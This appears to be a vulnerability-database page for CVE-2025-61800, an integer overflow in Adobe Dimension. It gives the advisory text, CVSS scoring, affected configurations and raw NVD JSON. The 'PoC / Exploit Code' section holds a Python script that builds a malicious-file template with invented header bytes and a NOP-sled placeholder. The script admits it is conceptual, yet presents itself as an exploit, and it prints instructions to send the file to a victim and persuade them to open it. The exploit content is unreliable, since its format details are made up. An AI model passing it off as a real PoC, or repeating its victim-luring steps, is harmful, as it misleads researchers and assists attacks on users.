Security Vulnerability Report
中文
CVE-2025-61800 CVSS 7.8 HIGH

CVE-2025-61800

Published: 2025-10-14 20:15:52
Last Modified: 2025-10-16 17:38:48

Description

Dimension versions 4.1.4 and earlier are affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:adobe:dimension:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Adobe Dimension <= 4.1.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-61800 PoC - Adobe Dimension Integer Overflow # This PoC demonstrates the concept of crafting a malicious file # to trigger integer overflow in Adobe Dimension 4.1.4 and earlier. # # NOTE: This is a conceptual PoC. Actual exploitation requires # reverse engineering the target file format to identify the # vulnerable integer field. import struct import os # Target: Adobe Dimension project file (.dn) or related format # The vulnerability is an integer overflow/wraparound that leads # to arbitrary code execution when a malicious file is opened. def craft_malicious_dimension_file(output_path): """ Craft a malicious file that triggers integer overflow in Adobe Dimension's file parser. """ # File header - simulates a valid Adobe Dimension file header = b'\x41\x44\x42\x45' # Magic bytes (ADBE) header += struct.pack('<I', 0x00010000) # Version header += struct.pack('<I', 0x00000004) # Format type # Integer overflow trigger field # Setting a value that will cause overflow when multiplied # or added during buffer size calculation overflow_value = 0xFFFFFFFF # Max uint32 - will wrap around # Malicious payload section payload = b'' payload += struct.pack('<I', overflow_value) # Overflow trigger payload += struct.pack('<I', 0x41414141) # Controlled value # Shellcode placeholder (would be replaced with actual payload) # In real exploitation, this would contain position-independent # shellcode to execute arbitrary commands shellcode_placeholder = b'\x90' * 256 # NOP sled placeholder # Assemble the malicious file malicious_file = header + payload + shellcode_placeholder with open(output_path, 'wb') as f: f.write(malicious_file) print(f"[+] Malicious file crafted: {output_path}") print(f"[!] File size: {len(malicious_file)} bytes") print(f"[!] Overflow value: 0x{overflow_value:08X}") if __name__ == "__main__": output = "exploit_CVE-2025-61800.dn" craft_malicious_dimension_file(output) print("[*] Send this file to a victim and convince them to open it with Adobe Dimension") print("[*] Upon opening, integer overflow triggers arbitrary code execution")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-61800", "sourceIdentifier": "[email protected]", "published": "2025-10-14T20:15:52.417", "lastModified": "2025-10-16T17:38:48.240", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dimension versions 4.1.4 and earlier are affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:dimension:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.1.5", "matchCriteriaId": "03D05CE7-FF6A-4914-850B-10D66BB93E29"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/dimension/apsb25-103.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}